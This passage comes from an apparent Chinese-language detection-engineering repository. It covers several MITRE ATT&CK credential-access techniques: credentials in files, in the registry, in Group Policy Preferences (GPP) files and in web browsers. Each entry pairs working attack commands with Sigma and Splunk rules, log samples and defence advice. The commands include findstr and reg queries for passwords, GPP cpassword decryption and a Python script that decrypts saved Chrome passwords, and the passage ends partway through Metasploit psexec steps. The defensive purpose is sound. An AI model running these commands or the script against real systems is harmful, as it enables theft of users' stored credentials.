EventCode=4672 TargetDomainName="*. -*" AssignedPrivileges IN ("*SeDebugPrivilege*","*SeTcbPrivilege*") OR EventCode=4768 SuppliedRealmName="*. -*" OR EventCode=4769 ServiceName="*krbtgt*" TargetDomainName="*. -*") | transaction TargetUserName maxspan=5s | fields EventCode,TargetUserName,TargetDomainName,LogonType,AuthenticationPackageName,AssignedPrivileges,SuppliedRealmName,ServiceName ``` 规则说明: - 检测异常Kerberos票据请求,结合高权限分配。 - 减少误报:使用5秒时间窗口关联事件。 ## 防御建议 1. **补丁管理**: - 立即为域控制器安装KB3011780补丁,优先Windows Server 2008/2008 R2。[](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068) - 使用PowerShell脚本(如Get-DCPatchStatus)定期检查补丁状态。[](https://adsecurity.org/?p=676) 2. **日志配置**: - 启用事件ID4768/4769审计,建议仅记录失败事件以减少日志量。[](https://adsecurity.org/?p=541) - 部署Sysmon,监控`python.exe`、`mimikatz.exe`和Kerberos网络连接。 3. **权限控制**: - 最小化域用户权限,限制对域控制器共享(如C$)的访问。 - 使用组策略禁用非必要用户对域控制器的网络登录。 4. **网络防护**: - 部署IDS/IPS,检测`include-pac:False`或MD5校验的Kerberos流量。 - 限制Kerberos端口(88)访问,仅允许必要设备通信。 5. **主动防御**: - 部署诱捕账户,监控异常高权限登录。 - 使用EDR工具检测票据注入或异常进程行为。 6. **时间同步**: - 确保所有系统与域控制器时间同步,防止票据伪造。 ## 参考推荐 - MITRE ATT&CK T1212: - Active Directory Security: MS14-068 Exploit with PyKEK: - Microsoft Security Bulletin MS14-068: - PyKEK GitHub Repository: - 内网渗透之PTH&PTT&PTK: - Detecting MS14-068 Kerberos Exploit Packets: ================================================ FILE: Windows/08凭证访问/T1552.001-Win-文件中的凭证.md ================================================ # T1552.001-Win-文件中的凭证 ## 描述 攻击者可能在本地文件系统或远程文件共享中搜索包含密码的文件。这些文件可能包括用户创建的凭证存储文件、共享凭证文件、包含系统或服务密码的配置文件,或嵌入密码的源代码/二进制文件。此外,攻击者可能从备份、保存的虚拟机或Windows域控制器上的组策略首选项(GroupPolicyPreferences)中提取凭证。 ## 测试案例 `findstr`是Windows系统自带的命令行工具,用于在指定文件中查找包含特定字符串的行,并输出匹配行或文件名。其功能类似于Linux的`grep`命令。攻击者可能利用`findstr`搜索包含“password”或其他敏感关键词的文件,以获取凭证信息。 **测试环境**: - 系统:Windows10或WindowsServer2012+ - 工具:`findstr`(系统自带) - 测试文件:`test.txt`,内容包含“password”关键词 - 日志配置:启用Windows安全日志(事件ID4688,需启用命令行审核策略) **测试步骤**: 1. 创建测试文件`test.txt`,内容如下: ``` username:admin password:P@ssw0rd123 ``` 2. 打开命令提示符(cmd),执行以下命令: ``` findstr/ni/c:"password"test.txt ``` 3. 验证输出结果: ``` password:P@ssw0rd123 ``` 4. 检查Windows安全日志,确认事件ID4688记录。 **测试命令说明**: - `/n`:显示匹配行的行号 - `/i`:忽略大小写 - `/c:"password"`:查找包含“password”的行 ## 检测日志 **数据来源**: - **Windows安全日志**:事件ID4688(进程创建),需启用“审核进程创建”策略,并在WindowsServer2012+或Windows10+上启用命令行参数记录(组策略:计算机配置>管理模板>系统>审核进程创建>包括命令行参数)。 - **Sysmon日志**(可选):事件ID1(进程创建),可提供更详细的命令行和父进程信息。 **日志字段**: - 事件ID:4688 - 进程名称:`findstr.exe` - 命令行参数:包含`findstr`和`password` - 创建者账户:执行命令的用户账户 - 父进程:通常为`cmd.exe`或`powershell.exe` ## 测试复现 **复现命令**: ```cmd C:\Users\Administrator>findstr/ni/c:"password"test.txt ``` **复现结果**: ``` password:P@ssw0rd123 ``` ## 测试留痕 **Windows安全日志(事件ID4688)**: ```xml 已创建新进程。 创建者主题: 安全ID:QAX\Administrator 帐户名:Administrator 帐户域:QAX 登录ID:0x7169C 目标主题: 安全ID:NULLSID 帐户名:- 帐户域:- 登录ID:0x0 进程信息: 新进程ID:0xc14 新进程名称:C:\Windows\System32\findstr.exe 令牌提升类型:TokenElevationTypeDefault(1) 强制性标签:MandatoryLabel\HighMandatoryLevel 创建者进程ID:0x304 创建者进程名称:C:\Windows\System32\cmd.exe 进程命令行:findstr/ni/c:"password"test.txt ``` **Sysmon日志(事件ID1,可选)**: ```xml 2025-06-1720:16:00.123 {...} 3092 C:\Windows\System32\findstr.exe findstr/ni/c:"password"test.txt C:\Users\Administrator QAX\Administrator C:\Windows\System32\cmd.exe cmd.exe ``` ## 检测规则/思路 ### Sigma规则 ```yaml title: Windows下利用findstr命令查找用户凭证 id: 8f7b1a2c-4e5d-4f3a-9b8c-1d2e3f4a5b6c status: stable description: 检测攻击者使用findstr命令搜索包含password或其他敏感关键词的文件,可能是凭证窃取行为 references: - https://attack.mitre.org/techniques/T1552/001/ - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/findstr tags: - attack.credential_access - attack.t1552.001 logsource: category: process_creation product: windows detection: selection: EventID: 4688 Image|endswith: '\findstr.exe' CommandLine|contains: - 'password' - 'pwd' - 'login' - 'credential' - 'secure' filter_legitimate: CommandLine|contains: - 'setup' - 'install' - 'config' condition: selectionandnotfilter_legitimate fields: - EventID - CommandLine - Image - User - ParentImage falsepositives: - 管理员或脚本执行的合法文件搜索操作 - 软件安装或配置过程中包含敏感关键词的命令 level: medium ``` ### 检测思路 1. **命令行参数监控**: - 监控进程创建事件(事件ID4688或Sysmon事件ID1),聚焦`findstr.exe`的命令行参数。 - 检测包含敏感关键词(如`password`、`pwd`)的命令行,结合上下文(如父进程为`cmd.exe`或`powershell.exe`)判断可疑行为。 2. **文件访问监控**: - 使用文件监控工具(如Sysmon事件ID11)检测对敏感文件(如`.txt`、`.ini`、`.config`)的访问,尤其是结合`findstr`执行的时间窗口。 - 关注共享文件夹或域控制器上的组策略文件访问。 3. **异常行为分析**: - 检测非典型用户(如非管理员账户)执行`findstr`搜索敏感关键词的行为。 - 分析同一主机上多次执行类似命令的模式,可能是攻击者批量搜索凭证。 ## 防御建议 1. **限制敏感信息存储**: - 禁止在明文文件中存储密码或凭证,推荐使用密码管理器或加密存储。 - 对配置文件中的密码进行加密,或使用WindowsCredentialManager存储敏感信息。 2. **强化日志审核**: - 启用命令行参数记录(组策略:审核进程创建>包括命令行参数)。 - 部署Sysmon,配置进程创建和文件访问监控规则,增强检测能力。 - 定期分析安全日志,关注异常进程或命令行模式。 3. **访问控制**: - 限制对共享文件夹、备份文件和组策略文件的访问权限,仅授权必要用户。 - 对域控制器上的组策略首选项(GPP)文件进行加密或移除明文凭证。 4. **安全意识培训**: - 培训用户避免在文件中存储明文密码,定期检查系统是否存在遗留的敏感文件。 - 培训管理员识别可疑命令行操作,如`findstr`搜索敏感关键词。 5. **主动防御**: - 部署诱捕文件(HoneyFiles),在系统中放置伪装的包含“password”关键词的文件,触发告警。 - 使用EDR工具监控`findstr.exe`的异常使用,结合行为分析检测凭证窃取。 ## 参考推荐 - MITREATT&CK:CredentialsfromPasswordStores:CredentialsinFiles(T1552.001) - Microsoft:findstr命令参考 - Sysmon配置指南 ================================================ FILE: Windows/08凭证访问/T1552.002-Win-注册表中的凭证.md ================================================ # T1552.002-Win-注册表中的凭证 ## 描述 攻击者可能通过查询Windows注册表,提取存储在其中的凭据或密码。Windows注册表存储系统和应用程序的配置信息,包括某些服务或程序(如自动登录、SNMP、远程桌面)的凭据。这些凭据可能以明文、加密或哈希形式存在,攻击者可通过注册表查询工具(如`reg.exe`)访问,用于横向移动、特权提升或持久化。此攻击通常无需提权,普通用户权限即可执行,隐蔽性较高。 ## 测试案例 ### 测试案例1:查询自动登录凭据 检查Windows自动登录配置,提取用户名和密码。 **命令**: ```cmd reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword ``` - **说明**: - 查询`Winlogon`键中的`DefaultUserName`和`DefaultPassword`,可能包含明文凭据。 - **权限**:普通用户权限(部分键可能需管理员权限)。 - **支持系统**:Windows7、WindowsServer2008及以上。 ### 测试案例2:搜索SNMP凭据 查询SNMP服务配置,提取社区字符串(可能用作凭据)。 **命令**: ```cmd reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities" ``` - **说明**: - SNMP社区字符串可能被用作弱凭据,供攻击者访问网络设备。 - **权限**:普通用户权限。 ### 测试案例3:全局搜索密码相关注册表项 递归查询注册表,查找包含“password”的字符串值。 **命令**: ```cmd reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s ``` - **说明**: - 搜索`HKLM`和`HKCU`中的字符串值,定位潜在凭据。 - **权限**:普通用户权限。 ### 测试案例4:查询远程桌面凭据 检查RDP保存的连接凭据。 **命令**: ```cmd reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" ``` - **说明**: - 包含RDP连接的主机名和用户名,可能关联凭据。 - **权限**:普通用户权限。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`reg.exe`或`powershell.exe`的执行。 - Sysmon日志: - 事件ID1:进程创建,记录命令行参数和父进程。 - 事件ID13:注册表访问,记录对敏感键(如`Winlogon`、`SNMP`)的查询。 - 注册表监控: - 检测对凭据相关键(如`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`)的异常访问。 - 文件监控: - 检测导出的注册表文件(如`.reg`)。 ## 测试复现 ### 环境准备 - 靶机:WindowsServer2012或Windows10 - 账户:普通用户账户(如TEST\user1) - 工具: - Sysmon(可选,日志收集) - 文本编辑器(记录输出) ### 攻击分析 #### 测试1:查询自动登录凭据 1. **登录靶机**: 使用普通用户账户登录。 2. **查询注册表**: ```cmd reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword ``` - 示例输出: ``` DefaultPassword REG_SZ Password123 ``` 3. **导出结果**: ```cmd reg export "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" C:\Temp\winlogon.reg ``` 4. **结果分析**: - 成功:获取自动登录的明文密码。 - 失败可能: - 未配置自动登录。 - 权限不足。 #### 测试2:搜索SNMP凭据 1. **查询SNMP配置**: ```cmd reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities" ``` - 示例输出: ``` public REG_DWORD 0x4 ``` 2. **记录结果**: ```cmd reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" > C:\Temp\snmp.txt ``` 3. **结果分析**: - 成功:获取SNMP社区字符串。 - 失败可能:未安装SNMP服务。 #### 测试3:全局搜索密码 1. **执行搜索**: ```cmd reg query HKCU /f password /t REG_SZ /s ``` 2. **保存结果**: ```cmd reg query HKCU /f password /t REG_SZ /s > C:\Temp\passwords.txt ``` 3. **结果分析**: - 成功:定位包含密码的注册表项。 - 失败可能:无相关凭据或查询受限。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 已创建新进程。 创建者主题: 安全ID: TEST\user1 帐户名: user1 帐户域: TEST 登录ID: 0x7169C 进程信息: 新进程ID: 0xd3c 新进程名称: C:\Windows\System32\reg.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程ID: 0x15d0 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:reg.exe CommandLine:reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" CurrentDirectory:C:\Users\user1\ User:TEST\user1 Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID13: ``` 事件ID:13 Image:C:\Windows\System32\reg.exe TargetObject:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`reg.exe`或`powershell.exe`查询敏感注册表键。 2. 命令行分析: - 正则表达式匹配: ```regex reg\.exe.*query.*(Winlogon|SNMP|password|Terminal Server Client) ``` 3. 注册表监控: - 检测对`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`、`HKLM\SYSTEM\CurrentControlSet\Services\SNMP`等的访问。 4. 文件监控: - 检测导出的`.reg`文件或非预期路径下的注册表导出。 5. 行为分析: - 检测频繁的注册表查询或异常用户上下文。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title: 注册表凭据枚举 id: b1c2d3e4-f5a6-b7c8-d9e0-f1a2b3c4d5e7 description: 检测使用reg.exe查询敏感注册表键的行为 status: experimental references: - https://attack.mitre.org/techniques/T1552/002/ tags: - attack.credential_access - attack.t1552.002 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\reg.exe' CommandLine|contains: - 'Winlogon' - 'SNMP' - '/f password' - 'Terminal Server Client' filter_legitimate: ParentImage|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition: selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的管理员操作 level: medium ``` 规则说明: - 目标:检测`reg.exe`查询敏感注册表键的行为。 - 过滤:排除合法程序路径的调用。 - 日志来源:Sysmon事件ID1。 - 误报处理:管理员维护操作可能触发,需结合用户上下文分析。 - 级别:标记为“中”优先级,因需进一步确认恶意行为。 ### Splunk规则 ```spl index=windows source="Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\reg.exe" CommandLine IN ("*Winlogon*","*SNMP*","*/f password*","*Terminal Server Client*") NOT ParentImage IN ("*Program Files*") | fields Image,CommandLine,ParentImage,User ``` 规则说明: - 检测`reg.exe`查询敏感键,排除合法路径。 - 减少误报:结合父进程和用户上下文分析。 ### 检测挑战 - 误报:管理员或脚本的合法注册表查询可能触发,需建立基线。 - 日志依赖:需启用命令行审计和Sysmon注册表监控。 - 隐蔽性:`reg.exe`为系统工具,难以区分合法与恶意使用。 ## 防御建议 1. 监控和日志: - 启用命令行审计,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对敏感注册表键的监控。 2. 凭据管理: - 禁用自动登录功能,移除`Winlogon`中的`DefaultPassword`。 - 使用强加密存储凭据,避免明文保存。 3. 注册表保护: - 限制普通用户对敏感注册表键的查询权限。 - 使用注册表完整性监控工具检测篡改。 4. 安全配置: - 禁用不必要的SNMP服务,或使用强社区字符串。 - 清理RDP保存的连接凭据。 5. 安全更新: - 保持Windows系统更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1552.002: - T1214模拟测试: - 本地凭据关注点: - Sysmon配置与检测: ================================================ FILE: Windows/08凭证访问/T1552.006-Win-GPP-凭证转储.md ================================================ # T1552.006-Win-基于GPP凭证获取 ## 描述 攻击者可能通过访问域控制器SYSVOL共享中的组策略首选项(GPP)XML文件,获取不安全的凭据。GPP允许管理员使用嵌入式凭据创建域策略,例如设置本地账户、映射驱动器或配置服务。这些凭据存储在SYSVOL的XML文件中(如`Groups.xml`、`Services.xml`),以AES加密,但由于Microsoft公开的AES密钥,任何域用户可解密`cpassword`字段,获取明文密码。 SYSVOL是域内全域共享的目录(`\\\SYSVOL\\Policies\`),所有经过身份验证的域用户具有读权限。攻击者可通过枚举XML文件,提取并解密凭据,用于特权提升、横向移动或持久化。此攻击无需提权,隐蔽性高。 ## 测试案例 ### 测试案例1:使用findstr枚举SYSVOL中的XML文件 通过命令行搜索SYSVOL共享中的XML文件,查找包含`cpassword`的凭据。 **命令**: ```cmd findstr /S /I cpassword \\test.com\sysvol\test.com\policies\*.xml ``` - **示例输出**: ``` \\test.com\sysvol\test.com\policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\Groups\Groups.xml: ``` - **说明**: - 搜索`cpassword`字段,定位包含凭据的XML文件。 - **权限**:域用户权限。 - **支持系统**:WindowsServer2003及以上(ActiveDirectory环境)。 ### 测试案例2:使用Get-GPPPassword提取凭据 通过PowerSploit的`Get-GPPPassword`脚本自动化提取并解密GPP密码。 **命令**: ```powershell Import-Module Get-GPPPassword.ps1 Get-GPPPassword ``` - **示例输出**: ``` Username: tester Password: Password123 Changed: 2019-05-20 06:34:56 File: \\test.com\sysvol\test.com\policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\Groups\Groups.xml ``` - **说明**: - 自动扫描SYSVOL,解密`cpassword`字段。 - **权限**:域用户权限。 ### 测试案例3:使用gpprefdecrypt.py解密凭据 在Linux环境中使用Python脚本解密提取的`cpassword`。 **命令**: ```bash python3 gpprefdecrypt.py "WzC8r0KH+edYsh0heQvAVwcNxtSvX1efu9MU+z5e37E" ``` - **示例输出**: ``` Password: Password123 ``` - **说明**: - 使用公开的AES密钥解密`cpassword`。 - **权限**:无需权限(离线解密)。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`findstr.exe`或PowerShell的执行。 - 事件ID4624:账户登录,记录域用户访问SYSVOL的网络登录。 - 事件ID4672:特权分配,记录用户权限。 - 事件ID5140:网络共享访问,记录SYSVOL共享访问。 - 事件ID5145:共享对象访问检查,记录对SYSVOL文件的读取。 - 事件ID5156:网络连接,记录SMB连接到SYSVOL。 - Sysmon日志: - 事件ID1:进程创建,记录命令行参数。 - 事件ID11:文件访问,记录对SYSVOL中XML文件的读取。 - 事件ID3:网络连接,记录到域控制器的SMB流量。 - 文件监控: - 检测对SYSVOL中XML文件的异常访问。 - 网络监控: - 检测频繁的SMB流量(端口445)到SYSVOL共享。 ## 测试复现 ### 环境准备 - 攻击机:Windows10或KaliLinux2019 - 靶机:WindowsServer2012(域控制器,配置GPP) - 账户:域用户账户(如TEST\user1) - 工具: - PowerSploit(Get-GPPPassword) - gpprefdecrypt.py - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:使用findstr枚举凭据 1. **登录靶机**: 使用域用户账户登录: ```cmd net use \\dc1.test.com\IPC$ /user:TEST\user1 Password123 ``` 2. **搜索SYSVOL**: ```cmd findstr /S /I cpassword \\test.com\sysvol\test.com\policies\*.xml ``` - 输出包含`cpassword`的XML文件路径和内容。 3. **提取cpassword**: 记录`cpassword`值(如`WzC8r0KH+edYsh0heQvAVwcNxtSvX1efu9MU+z5e37E`)。 4. **解密密码**: 使用gpprefdecrypt.py: ```bash python3 gpprefdecrypt.py "WzC8r0KH+edYsh0heQvAVwcNxtSvX1efu9MU+z5e37E" ``` - 输出:`Password123` 5. **结果分析**: - 成功:获取本地管理员或服务账户的明文密码。 - 失败可能: - 无GPP配置。 - SYSVOL访问受限。 - XML文件不包含`cpassword`。 #### 测试2:使用Get-GPPPassword提取凭据 1. **导入脚本**: ```powershell Import-Module .\Get-GPPPassword.ps1 ``` 2. **执行提取**: ```powershell Get-GPPPassword ``` 3. **结果分析**: - 成功:自动输出用户名和明文密码。 - 失败可能:PowerShell执行策略限制或无GPP凭据。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 已创建新进程。 创建者主题: 安全ID: TEST\user1 帐户名: user1 帐户域: TEST 登录ID: 0x7169C 进程信息: 新进程ID: 0xd3c 新进程名称: C:\Windows\System32\findstr.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程ID: 0x15d0 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: findstr /S /I cpassword \\test.com\sysvol\test.com\policies\*.xml ``` - 事件ID5145: ``` 已检查网络共享对象是否可以授予客户端所需的访问权限。 主题: 安全ID: TEST\user1 帐户名: user1 帐户域: TEST 网络信息: 对象类型: File 源地址: 192.168.1.100 源端口: 49152 共享信息: 共享名称: \\*\SYSVOL 共享路径: \??\C:\Windows\SYSVOL\sysvol 相对目标名称: test.com\Policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\Groups\Groups.xml ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:findstr.exe CommandLine:findstr /S /I cpassword \\test.com\sysvol\test.com\policies\*.xml CurrentDirectory:C:\Users\user1\ User:TEST\user1 Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\System32\findstr.exe TargetFilename:\\test.com\sysvol\test.com\policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\Groups\Groups.xml ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`findstr.exe`或PowerShell执行SYSVOL搜索。 2. 命令行分析: - 正则表达式匹配: ```regex findstr\.exe.*cpassword.*sysvol.*\.xml ``` ```regex powershell\.exe.*Get-GPPPassword ``` 3. 文件监控: - 检测对SYSVOL中XML文件(如`Groups.xml`、`Services.xml`)的异常访问。 4. 网络监控: - 检测到SYSVOL共享的频繁SMB连接(端口445)。 5. 日志关联: - 结合事件ID4688、5140、5145、5156,分析SYSVOL访问的源IP和用户。 ### Sigma规则 优化后的Sigma规则,分为攻击机和域控检测: #### 攻击机检测 ```yaml title: GPP凭证获取-findstr搜索SYSVOL id: 9a0b1c2d-3e4f-5a6b-7c8d-9e0f1a2b3c4d description: 检测攻击机使用findstr搜索SYSVOL中XML文件的行为 status: experimental references: - https://adsecurity.org/?p=2288 tags: - attack.credential_access - attack.t1552.006 logsource: product: windows service: security detection: selection_process: EventID: 4688 NewProcessName|endswith: '\findstr.exe' CommandLine|contains: - 'cpassword' - 'sysvol' - '.xml' selection_network: EventID: 5156 Direction: '出站' DestinationPort: 445 timeframe: 30s condition: selection_process and selection_network fields: - NewProcessName - CommandLine - AccountName - DestinationAddress falsepositives: - 合法的SYSVOL文件搜索 level: medium ``` #### 域控检测 ```yaml title: GPP凭证获取-SYSVOL共享访问 id: 0b1c2d3e-4f5a-6b7c-8d9e-0f1a2b3c4d5e description: 检测域控上SYSVOL共享的异常访问,可能与GPP凭证获取相关 status: experimental references: - https://adsecurity.org/?p=2288 tags: - attack.credential_access - attack.t1552.006 logsource: product: windows service: security detection: selection_network: EventID: 5156 Direction: '入站' SourcePort: 445 selection_login: EventID: 4624 LogonType: 3 LogonProcessName: 'Kerberos' AuthenticationPackageName: 'Kerberos' selection_share: EventID: 5140 ObjectType: 'File' ShareName: '\\*\SYSVOL' SharePath: '\??\C:\Windows\SYSVOL\sysvol' selection_access: EventID: 5145 ObjectType: 'File' ShareName: '\\*\SYSVOL' SharePath: '\??\C:\Windows\SYSVOL\sysvol' RelativeTargetName|contains: '.xml' timeframe: 30s condition: selection_network and selection_login and selection_share and selection_access fields: - AccountName - SourceAddress - RelativeTargetName falsepositives: - 合法的SYSVOL访问 level: medium ``` 规则说明: - **攻击机**:检测`findstr.exe`搜索`cpassword`并发起SMB连接的行为。 - **域控**:检测SYSVOL共享的入站连接、Kerberos登录和XML文件访问。 - 过滤:结合时间窗口和上下文减少误报。 - 日志来源:Windows安全日志。 - 误报处理:合法SYSVOL访问可能触发,需分析用户和访问频率。 - 级别:标记为“中”优先级,因需进一步确认恶意行为。 ### Splunk规则 ```spl index=windows source="WinEventLog:Security" (EventCode=4688 NewProcessName="*\findstr.exe" CommandLine="*cpassword*sysvol*.xml*" OR EventCode=5156 Direction="Outbound" DestPort=445 OR EventCode=5140 ShareName="\\*\SYSVOL" ObjectType="File" OR EventCode=5145 ShareName="\\*\SYSVOL" ObjectType="File" RelativeTargetName="*.xml*") | fields NewProcessName,CommandLine,AccountName,SourceAddress,RelativeTargetName | transaction AccountName maxspan=30s ``` 规则说明: - 检测SYSVOL相关操作,关联进程创建和网络访问。 - 减少误报:使用30秒时间窗口关联事件。 ## 防御建议 1. 监控和日志: - 启用命令行审计,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对SYSVOL文件和`findstr.exe`的监控。 - 监控事件ID5140、5145,记录SYSVOL共享访问。 2. GPP修复: - 应用Microsoft补丁(KB2962486),禁用GPP密码存储。 - 使用Microsoft提供的脚本扫描SYSVOL中的`cpassword`。 - 替换GPP凭据,使用LAPS(本地管理员密码解决方案)管理本地账户。 3. 权限控制: - 限制SYSVOL的非必要访问,审查域用户权限。 - 监控域用户对SYSVOL的异常频繁访问。 4. 网络防护: - 限制SMB流量(端口445),仅允许必要设备访问SYSVOL。 - 部署IDS/IPS,检测SYSVOL的异常查询。 5. 安全更新: - 保持WindowsServer和ActiveDirectory更新。 6. 基线管理: - 定期审计SYSVOL中的XML文件,移除不必要的凭据配置。 ## 缓解措施 - **漏洞扫描**:使用Microsoft提供的脚本(参考[MS14-025](https://support.microsoft.com/en-us/help/2962486))或第三方工具(如PowerSploit的`Find-GPPPassword`)扫描SYSVOL,识别包含`cpassword`的XML文件。 - **移除凭据**:删除或修改包含`cpassword`的GPP配置,使用替代方案(如LAPS、脚本加密)。 - **补丁管理**:应用KB2962486补丁,阻止新GPP策略存储明文密码。 - **最小权限**:限制SYSVOL的读权限,仅允许必要账户访问。 - **监控基线**:建立SYSVOL访问的正常行为基线,检测异常访问模式。 ## 参考推荐 - MITREATT&CKT1552.006: - 获取域管理员权限的方式: - 寻找SYSVOL里的密码和攻击GPP: - 解密GPP中的管理员密码: - 在SYSVOL中查找密码: - Get-GPPPassword: - gpprefdecrypt.py: - Microsoft GPP协议说明: - MS14-025安全公告: - LAPS解决方案: ================================================ FILE: Windows/08凭证访问/T1555.003-Win-来自web浏览器的凭证.md ================================================ # T1555.003-Win-来自Web浏览器的凭证 ## 描述 攻击者可能通过访问Web浏览器存储的配置文件、数据库或内存,提取用户凭据(如网站用户名和密码)。常见浏览器(如Chrome、Firefox、Edge、Opera)通常将凭据以加密形式保存在本地文件中,但攻击者可利用系统API(如`CryptUnprotectData`)或解密工具提取明文凭据。攻击者还可能通过内存转储或模式匹配直接从浏览器进程内存中获取凭据。 凭据存储位置因浏览器而异: - **Chrome**:`%LocalAppData%\Google\Chrome\User Data\Default\Login Data` - **Firefox**:`%APPDATA%\Mozilla\Firefox\Profiles\\key4.db`和`logins.json` - **Opera**:`%AppData%\Opera Software\Opera Stable\Login Data` - **Edge**:`%LocalAppData%\Microsoft\Edge\User Data\Default\Login Data` 提取的凭据可用于凭据重用、横向移动或访问特权账户(如域管理员),显著缩短攻击时间。此攻击通常无需提权,普通用户权限即可执行,隐蔽性高。 ## 测试案例 ### 测试案例1:使用Metasploit提取Chrome凭据 通过Metasploit的`post/windows/gather/credentials/chrome`模块提取Chrome保存的凭据。 **命令**: ```plaintext msf6 > use post/windows/gather/credentials/chrome msf6 post(windows/gather/credentials/chrome) > set SESSION msf6 post(windows/gather/credentials/chrome) > run ``` - **说明**: - 提取`Login Data`文件中的加密凭据,使用`CryptUnprotectData`解密。 - 输出URL、用户名和明文密码。 - **权限**:普通用户权限(需访问用户目录)。 - **支持系统**:Windows7、WindowsServer2008及以上。 ### 测试案例2:手动提取并解密Chrome凭据 通过SQL查询Chrome的`Login Data`文件,结合Python脚本解密密码。 **命令**: ```cmd copy "%LocalAppData%\Google\Chrome\User Data\Default\Login Data" C:\Temp\LoginData.sqlite ``` **Python脚本**(需安装`pywin32`和`sqlite3`): ```python import os import sqlite3 import win32crypt db_path = r"C:\Temp\LoginData.sqlite" conn = sqlite3.connect(db_path) cursor = conn.cursor() cursor.execute("SELECT action_url, username_value, password_value FROM logins") for row in cursor.fetchall(): url, username, encrypted_password = row try: password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1].decode() print(f"URL: {url}, Username: {username}, Password: {password}") except: print(f"URL: {url}, Username: {username}, Password: [Failed to decrypt]") conn.close() ``` - **说明**: - 复制Chrome的`Login Data`文件,查询凭据并解密。 - **权限**:普通用户权限。 ### 测试案例3:提取Firefox凭据 通过读取Firefox的`logins.json`和`key4.db`文件,使用解密工具提取凭据。 **命令**: ```cmd dir "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release" copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json" C:\Temp\ copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\key4.db" C:\Temp\ ``` **工具**:使用`firefox_decrypt.py`(https://github.com/unode/firefox_decrypt): ```bash python3 firefox_decrypt.py -d C:\Temp ``` - **说明**: - 提取并解密Firefox保存的凭据。 - **权限**:普通用户权限。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4663:对象访问,记录对凭据文件的读取(需启用对象访问审计)。 - 事件ID4688:进程创建,记录可疑工具(如`cmd.exe`、`powershell.exe`)的执行。 - Sysmon日志: - 事件ID1:进程创建,记录命令行参数。 - 事件ID11:文件访问,记录对`Login Data`、`logins.json`、`key4.db`等的读取。 - 事件ID15:文件流创建,记录凭据文件被复制或导出。 - 文件监控: - 检测对浏览器凭据文件的异常访问。 - 进程监控: - 检测异常进程(如Metasploit、Python脚本)访问浏览器数据。 - 网络监控: - 检测解密后的凭据用于异常登录尝试。 ### 限制 - 事件ID4663需启用对象访问审计,否则无法记录文件访问。 - WindowsServer2016以下版本可能不记录详细命令行参数。 - 正常浏览器操作可能触发误报,需建立行为基线。 ## 测试复现 ### 环境准备 - 靶机:WindowsServer2016或Windows10 - 浏览器:Chrome、Firefox、Opera(已保存凭据) - 账户:普通用户账户(如TEST\user1) - 工具: - Metasploit(post/windows/gather/credentials/chrome) - Python(pywin32、sqlite3、firefox_decrypt.py) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:使用Metasploit提取Chrome凭据 1. **建立会话**: 使用Metasploit获得靶机会话: ```plaintext msf6 > use exploit/windows/smb/psexec msf6 exploit(windows/smb/psexec) > set RHOST 192.168.1.100 msf6 exploit(windows/smb/psexec) > set SMBUSER user1 